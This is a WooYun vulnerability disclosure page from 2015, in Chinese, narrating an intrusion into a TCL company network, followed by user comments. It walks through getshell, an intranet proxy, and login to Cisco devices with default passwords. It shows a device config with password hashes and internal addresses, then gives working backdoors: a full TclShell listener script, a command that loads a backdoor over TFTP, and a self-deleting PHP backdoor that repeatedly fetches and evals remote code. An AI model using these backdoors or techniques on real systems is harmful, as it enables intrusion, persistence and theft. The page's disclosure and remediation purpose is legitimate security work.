当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-097180

漏洞标题:从TCL某漏洞看内网渗透教学分享之内网信息探测和后渗透准备

相关厂商:TCL集团财务有限公司

漏洞作者: redrain有节操

提交时间:2015-02-18 23:24

修复时间:2015-04-04 23:26

公开时间:2015-04-04 23:26

漏洞类型:成功的入侵事件

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-18: 细节已通知厂商并且等待厂商处理中
2015-02-27: 厂商已经确认,细节仅向厂商公开
2015-03-09: 细节向核心白帽子及相关领域专家公开
2015-03-19: 细节向普通白帽子公开
2015-03-29: 细节向实习白帽子公开
2015-04-04: 细节向公众公开

简要描述:

本来打算发人人网的,但是苦逼的是我刚进去内网就貌似被t出来了,服务器直接宕了,等下次案例发人人或者其他厂商吧
在内网渗透中,内网信息探测对你的渗透工作开展是否顺利至关重要,如果你能摸清楚目标内网的信息,就像开启了god mode
这个案例中,我们介绍几个基本的内网探测的手法,以及如何在实战中串联十八般武艺,获取这个god mode

详细说明:

常规的,从web业务撕开口子
url:bit.tcl.com
getshell很简单,phpcms的,一个Phpcms V9 uc api SQL的老洞直接getshell,拿到shell,权限很高,system
看看网卡信息

屏幕快照 2015-02-13 下午6.06.24.png


只有一块网卡,处于10.4.22的私网地址
在这里,如果我们想要通过这台机器对内网进行渗透,首要工作就是进行内网探测,介绍几个方法
0x00如果你只是需要对内网的业务主机进行渗透,那么可以优先查看一下hosts,针对hosts中的主机针对性渗透
0x01如果想要对整个C段主机进行渗透,比较完整方便的方法还是扫描,这里就需要我们进行内网代理,然后扫描
正向代理or反向代理,因为此处主机无法通外网,所以我们选择正向代理
一个我常用的代理reGeorg
https://github.com/sensepost/reGeorg
上传代理脚本,然后用regerog尽心代理链接(regeorg需要urllib3,所以各位需要用到时,先安装这个模块)

屏幕快照 2015-02-13 下午6.19.15.png


用nmap等进行代理扫描,很简单可以使用proxychains或者win 下使用proxycap
因为我们这里指定的端口时2333,所以修改一下proxychains的conf

屏幕快照 2015-02-13 下午6.22.32.png


以此来尽心内网C段的信息探测
0x02当然,仅仅通过扫描,并不能获取到最全面的信息,最全面的信息,要么就是我们拿到了内网拓扑,或者,我直接日下了路由器
路由器,走你~
通过之前的nmap扫描,我们大概知道了开放web服务的主机

屏幕快照 2015-02-13 下午6.25.29.png


访问11,12,13三台主机后,发现时cisco的路由器,且是开放web管理的cisco路由器,默认密码cisco成功进入

屏幕快照 2015-02-13 下午6.27.29.png


开放web管理的思科路由是可以在web端执行命令的,但是我们的路由权限只是1,cisco的权限分级大概是这样:
管理员是7 ,但是有15个权限分级,15的权限基本属于为所欲为权限
在这里,因为看到当前路由ios版本号是

屏幕快照 2015-02-13 下午6.32.50.png


低版本的iOS可以利用我之前的一个老洞进行cisco路由提权
因为在web端,可以用privilege15进行命令操作

屏幕快照 2015-02-13 下午6.36.37.png


这样我们就拥有了一个privilege15的用户,赶紧telnet进路由看看配置,一定会有惊喜

屏幕快照 2015-02-13 下午6.38.24.png


看到我们确实拿到了privilege15的用户
那么,来瞅瞅路由配置吧

DZSW-3560-A#en
en
DZSW-3560-A#show running-config
show running-config
Building configuration...
Current configuration : 3678 bytes
!
version 12.2
no service pad
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname DZSW-3560-A
!
enable password 7 121A0C041104
!
username admin privilege 15 password 7 1543595F507F7D
no aaa new-model
system mtu routing 1500
vtp mode transparent
ip subnet-zero
ip routing
!
!
!
!
--More--
!
!
no file verify auto
spanning-tree mode pvst
spanning-tree extend system-id
!
vlan internal allocation policy ascending
!
vlan 218
name Call_Center
!
vlan 220
!
vlan 222
name WEB
!
vlan 223
name DB
!
!
interface Port-channel1
switchport trunk encapsulation dot1q
switchport mode trunk
!
interface Port-channel2
description Connect_To_YDBFZX-C3750_Po1
no switchport
ip address 10.68.3.2 255.255.255.252
!
interface GigabitEthernet0/1
switchport access vlan 218
switchport mode access
!
interface GigabitEthernet0/2
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/3
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/4
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/5
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/6
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/7
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/8
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/9
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/10
switchport access vlan 222
switchport mode access
!


几个业务,DB,办公的vlan跃然于眼前,当前我们实在web vlan的
其他两台路由也一样到玩法
===================分割线==================
那么有的同学就问了,如果我不满足于在web vlan闹腾,如果我作为一个黑阔,我要去办公vlan去耍怎么办,哟西~既然我们都已经控制了路由啦,当然可以去闹!
因为我不是运维狗,所以咨询了z8大屌,他告诉我,少年,你听过GRE隧道么,诶嘿~

GRE 是一种最传统的隧道协议,其根本功能就是要实现隧道功能,通过隧道连接的两个远程网络就如同直连,GRE在两个远程网络之间模拟出直连链路,从而使网络间 达到直连的效果


http://itchenyi.blog.51cto.com/4745638/1137143
http://www.codesky.net/article/201207/171461.html
大家可以参考这两个地方
通过GRE隧道配置,我们就可以跑到另外一个vlan去闹了~
(做人留一线,日后好相见,就不截图call_center的vlan了,渗透其网段的思路也和之前介绍的一样)
=========分割线==============
那么又有同学举手了,如果我渗透的目标无法短时间内就完成,需要进行后渗透,我怎么样才能让我之后的渗透也方便呢?
好的,同学你很猥琐,这里介绍几个平时我们工作中常用的留后门多法子
首先,这个cisco的路由后门,我们肯定要优先留一个
cisco路由器支持TCL cisco脚本,所以我们的后门也通过这个来完成

# TclShell.tcl v0.1 by Andy Davis, IRM 2007
#
# IRM accepts no responsibility for the misuse of this code
# It is provided for demonstration purposes only
proc callback {sock addr port} {
fconfigure $sock -translation lf -buffering line
puts $sock " "
puts $sock "---|---|---|---|---|---|---|---|---|---|---|---|-"
puts $sock "TclShell v0.1 by Andy Davis, IRM 2007"
puts $sock "---|---|---|---|---|---|---|---|---|---|---|---|-"
puts $sock " "
set response [exec "sh ver | inc IOS"]
puts $sock $response
set response [exec "sh priv"]
puts $sock $response
puts $sock " "
puts $sock "Enter IOS command:"
fileevent $sock readable [list echo $sock]
}
proc echo {sock} {
global var
if {[eof $sock] || [catch {gets $sock line}]} {
} else {
set response [exec "$line"]
puts $sock $response
}
}
set port 1234
set sh [socket -server callback $port]
vwait var
close $sh


这是老外写的一个后门,先在路由中开启tclsh模式,然后引入后门脚本
Router#tclsh
Router(tcl)#source tftp://x.x.x.x/backdoor.tcl
这样我们就留下来后门,下次链接可以直接在网段内的机器直接
nc 路由ip 1234(端口在后门脚本中修改)
ok,如果web的入口断了,这一切都白搭,所以我们还应该对web的机器留下比较隐藏的后门
说两个,一个是文件形的后门
这个办法之前phinthon老师已经说过了,就是通过php.ini或者user.ini留后门
在一个有正常php文件的目录下新建一个.user.ini
内容为
auto_prepend_file=xxx.gif(png/jpg)之类
而你的xxx.gif之类就是你的后门
具体可以参考http://drops.wooyun.org/tips/3424
第二个办法,非文件形的后门,这样的后门优势在于非常隐蔽,一般的网管都发现不了,但是有一个非常大的缺点,重启,或者进程中断后门就消失了
原理大概是:后门的代码第一行删除自身,然后驻留在后台内存里,等待外部链接

<?php
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
$remote_file = 'http://xxx/xxx.txt';
while($code = file_get_contents($remote_file)){
@eval($code);
sleep(5);
};
?>


在xxx.txt中写入你的后门代码,访问后就会删除自己并循环执行txt的代码,这是之前某人写过的了
ztz最近有写了一个更赞的无文件后门,你们快去找他要
除了这样的,如果主机是linux,也可以用前段时间猪猪侠说的crontab做后门

漏洞证明:

我们来大概总结一下这次渗透,首先通过外部业务撕开入口,通过代理的方式对内网进行探测,发现了cisco路由,于是利用之前的漏洞进行提权,搞定了路由器,整个vlan划分展露无遗,开启god mode
因为我们这里是概念性的测试,所以尺度不能太大,但是,如果我是一个黑客,我接下来会做的事儿:
利用tunna转发3389出外网链接(但是在这个场景中,出外网限制了部分端口,但是可以查询dns,我们应该利用端口复用的方式),远程桌面后扩大战果(嗅探其他机器)
读数据库我们看到了很多tcl的员工用户数据,可以直接对tcl的企业邮箱直接撞裤攻击

23520502-4172-4AF8-B445-BB721D4A5131.png


因为路由器搞定了,跨vlan到另外的段,继续进行渗透
概念性证明图:

123.png


屏幕快照 2015-02-13 下午7.18.07.png


屏幕快照 2015-02-13 下午6.25.29.png

修复方案:

修复主要看这么几个地方:
外部业务,及时打补丁,控制权限
内网弱口令问题
内网主机及时补丁
路由器及时升级
你们的OPS后台还存在测试用户登陆的问题,此处的漏洞说明就不截图了

版权声明:转载请注明来源 redrain有节操@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-02-27 15:45

厂商回复:

非常感谢您的反馈,我们将会联系酷友公司进行相应的调整。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-02-13 22:15 | 黑暗游侠 ( 普通白帽子 | Rank:1780 漏洞数:268 | 123)

    你是炊bb徒弟?

  2. 2015-02-13 22:16 | redrain有节操 ( 普通白帽子 | Rank:183 漏洞数:26 | ztz这下子有165了!>_<'/&\)

    @黑暗游侠 明显不是,你为啥这么认为

  3. 2015-02-13 22:18 | 黑暗游侠 ( 普通白帽子 | Rank:1780 漏洞数:268 | 123)

    @redrain有节操 以前听他说过你,然后以前也看到过redrain这个名字

  4. 2015-02-13 22:19 | redrain有节操 ( 普通白帽子 | Rank:183 漏洞数:26 | ztz这下子有165了!>_<'/&\)

    @黑暗游侠 原来还有个我?

  5. 2015-02-13 22:20 | 黑暗游侠 ( 普通白帽子 | Rank:1780 漏洞数:268 | 123)

    @redrain有节操 你签名是猪头子你师父,猪头子好像也是炊bb徒弟。。。

  6. 2015-02-13 22:20 | 黑暗游侠 ( 普通白帽子 | Rank:1780 漏洞数:268 | 123)

    @redrain有节操 就是ztz,ztz肯定是

  7. 2015-02-13 22:22 | redrain有节操 ( 普通白帽子 | Rank:183 漏洞数:26 | ztz这下子有165了!>_<'/&\)

    @黑暗游侠 我开玩笑的,@猪头子 是个狗~我是人噻

  8. 2015-02-13 22:39 | _Thorns ( 普通白帽子 | Rank:882 漏洞数:157 | 收wb 1:5 无限量收 [平台担保]))

    0 0 围观下

  9. 2015-02-13 22:50 | Jumbo ( 普通白帽子 | Rank:111 漏洞数:29 | 猫 - http://www.chinabaiker.com)

    @黑暗游侠 我开玩笑的,@猪头子 是个狗~我是人噻

  10. 2015-02-13 22:53 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

    黑客还不睡啊

  11. 2015-02-13 22:55 | 请叫我小号 ( 路人 | Rank:2 漏洞数:1 | 1)

    为什么不审洞呢?@疯狗

  12. 2015-02-13 23:04 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    跪舔redrain湿傅

  13. 2015-02-13 23:34 | redrain有节操 ( 普通白帽子 | Rank:183 漏洞数:26 | ztz这下子有165了!>_<'/&\)

    @phith0n 我只是来2015年打卡以及膜拜phith0n师傅的

  14. 2015-02-14 00:26 | 刘海哥 ( 普通白帽子 | Rank:114 漏洞数:28 | 索要联系方式但不送礼物的厂商定义为无良厂...)

    @phith0n 我只是来2015年打卡以及膜拜phith0n师傅的

  15. 2015-02-14 05:09 | 存在敏感词 ( 实习白帽子 | Rank:66 漏洞数:9 | 昵称存在敏感词)

    @黑暗游侠 居然还有人记得brk.. 感动

  16. 2015-02-14 08:51 | Power ( 实习白帽子 | Rank:54 漏洞数:22 | 还需要等待.........)

    @存在敏感词 消失好久了....

  17. 2015-02-14 09:19 | 第四维度 ( 实习白帽子 | Rank:58 漏洞数:34 | 谦谦君子,温润如玉)

    果然被雷劈了

  18. 2015-02-14 09:30 | T0ne5 ( 路人 | Rank:2 漏洞数:1 | 搬砖真的很累。)

    WY牛多

  19. 2015-02-14 11:19 | 动后河 ( 实习白帽子 | Rank:51 漏洞数:13 | ☭)

    good大牛

  20. 2015-02-14 11:40 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    我就习惯这种教学漏洞 能学到很多思路技术

  21. 2015-02-14 14:36 | ki11y0u ( 普通白帽子 | Rank:104 漏洞数:23 | 好好学习,求带飞~~~~~~~~~~~~~~~~~~~~~~...)

    我就习惯这种教学漏洞 能学到很多思路技术

  22. 2015-02-14 20:47 | s0mun5 认证白帽子 ( 普通白帽子 | Rank:493 漏洞数:24 | .)

    汪汪汪

  23. 2015-02-14 22:10 | 夏殇 ( 路人 | Rank:30 漏洞数:21 | 不忘初心,方得始终。)

    汪汪汪

  24. 2015-02-18 23:59 | 咸鱼翻身 ( 普通白帽子 | Rank:576 漏洞数:108 )

    刚看到忽略的说。。。。。。啥情况

  25. 2015-02-19 00:30 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    这也行

  26. 2015-02-19 00:39 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    单曲循环: 《301祝大家羊年大吉》·mp3 ▬▬▬▬▬◙▬▬▬▬▬▬▬▬ ◂◂  ►  ▐▐   ▸▸

  27. 2015-02-19 02:09 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人,在乌云学技术,去某数...)

    @咸鱼翻身 刚才不是公开的吗,汗!!! 我还看完了呢……

  28. 2015-02-19 07:30 | 咸鱼翻身 ( 普通白帽子 | Rank:576 漏洞数:108 )

    一堆代码。。。。

  29. 2015-02-19 09:44 | 一天到晚吃 ( 实习白帽子 | Rank:58 漏洞数:23 | 好好看,好好学 test12xx)

    留名

  30. 2015-02-19 12:27 | Th1nk ( 实习白帽子 | Rank:58 漏洞数:21 | 关注苍老师与波多野老师)

    redrain老师快去博客发布内部教程。跪舔。

  31. 2015-02-19 13:12 | todaro ( 实习白帽子 | Rank:39 漏洞数:12 | 完结。)

    坐等受教育

  32. 2015-02-19 15:09 | 李旭敏 ( 普通白帽子 | Rank:469 漏洞数:71 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)

    资深赛棍

  33. 2015-02-19 15:35 | 有妹子送上 ( 实习白帽子 | Rank:89 漏洞数:28 | 杭州最帅的男人)

    啪啪啪

  34. 2015-02-19 19:02 | 忆苦思甜 ( 实习白帽子 | Rank:65 漏洞数:25 )

    真想看看,最近一直在看TCL的分站。

  35. 2015-02-20 16:21 | 小呆呆 ( 实习白帽子 | Rank:41 漏洞数:7 | 每次有人骂我猪我都说我偶像也是猪)

    这是要连载的节奏啊

  36. 2015-02-27 16:16 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    mark学习

  37. 2015-02-27 17:46 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    肯定又是被ZTZ吊打了一晚上想出来的淫荡招数!

  38. 2015-03-17 01:35 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友!)

    用nmap等进行代理扫描,很简单可以使用proxychains或者win 下使用proxycap额

  39. 2015-03-17 01:38 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友!)

    proxychains需要设置吧

  40. 2015-03-17 06:15 | _Thorns ( 普通白帽子 | Rank:882 漏洞数:157 | 收wb 1:5 无限量收 [平台担保]))

    @mango proxifier 也不错哦。

  41. 2015-03-17 09:38 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫,我笑世人看不穿~)

    @黑暗游侠 居然还有人记得brk.. 感动(炊B一去不复返)

  42. 2015-03-17 11:23 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友!)

    @_Thorns 这个只了解win的

  43. 2015-03-19 16:01 | _Thorns ( 普通白帽子 | Rank:882 漏洞数:157 | 收wb 1:5 无限量收 [平台担保]))

    算是GRE隧道的应用和TCL后门应用把,这东西偏网络层了,赞一个!http://drops.wooyun.org/tips/85

  44. 2015-03-30 13:47 | 肉肉 认证白帽子 ( 普通白帽子 | Rank:112 漏洞数:10 | 肉肉在长亭科技,肉肉在长亭科技,肉肉在长...)

    我ztz师傅说你们谁想要那个后门的先来我这里交定金

  45. 2015-03-31 17:46 | lion(lp) ( 普通白帽子 | Rank:115 漏洞数:14 | 本人菜。。。千年实习白帽子)

    额,楼主,你日的是台交换机。。。

  46. 2015-04-05 00:09 | Vinc ( 普通白帽子 | Rank:120 漏洞数:22 | :))

    不错

  47. 2015-04-05 07:29 | darker ( 路人 | Rank:25 漏洞数:26 | = =)

    师傅,我回来了。

  48. 2015-04-05 11:12 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    那是台cisco三层交换话说我没看懂为什么要用GRE,直接通过三层路由不就过去了吗

  49. 2015-04-05 11:31 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    额,通过三层路由到公网不是更方便吗?

  50. 2015-04-05 18:33 | BeenQuiver ( 普通白帽子 | Rank:101 漏洞数:26 | 专注而高效,坚持好的习惯千万不要放弃)

    nmap如何扫描弱口令啊

  51. 2015-04-06 10:45 | 炊烟 ( 普通白帽子 | Rank:238 漏洞数:44 | 每一天都需要努力。)

    这是kali?

  52. 2015-04-06 10:55 | Hax0rs ( 路人 | Rank:9 漏洞数:4 | Hax0rs)

    完全看不懂啊

  53. 2015-04-15 23:54 | depycode ( 普通白帽子 | Rank:275 漏洞数:44 | 关注网络安全,提高技术!)

    GRE tunnelinterface Tunne100 ip address x.x.x.x 255.255.255.252 ip mtu 1500 ip tcp adjust-mss 1400 tunnel source x.x.x.x tunnel destination x.x.x.x

  54. 2015-07-26 14:13 | 金枪银矛小霸王 ( 普通白帽子 | Rank:103 漏洞数:25 | 不会挖洞洞的猿猿不是好学生)

    GRE隧道还是不懂。。